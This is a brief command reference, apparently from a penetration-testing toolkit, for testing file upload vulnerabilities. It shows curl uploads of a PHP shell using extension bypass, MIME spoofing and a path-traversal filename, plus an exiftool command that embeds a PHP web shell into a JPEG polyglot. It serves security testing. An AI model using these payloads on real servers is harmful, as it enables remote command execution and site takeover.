<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
# API Reference — Testing File Upload Vulnerabilities

## curl — File Upload Testing
```bash
# Extension bypass
curl -X POST URL/upload -F "file=@shell.php5"

# MIME type manipulation
curl -X POST URL/upload -F "file=@shell.php;type=image/jpeg"

# Path traversal in filename
curl -X POST URL/upload -F "file=@shell.php;filename=../../../shell.php"
```

## exiftool — Polyglot Creation
```bash
exiftool -Comment="<?php system(\$_GET['cmd']); ?>" image.jpg -o polyglot.php.jpg
```

## nuclei — Upload Vulnerability Scan
```bash
nuclei -u URL -t http/vulnerabilities/ -tags upload,fileupload
```
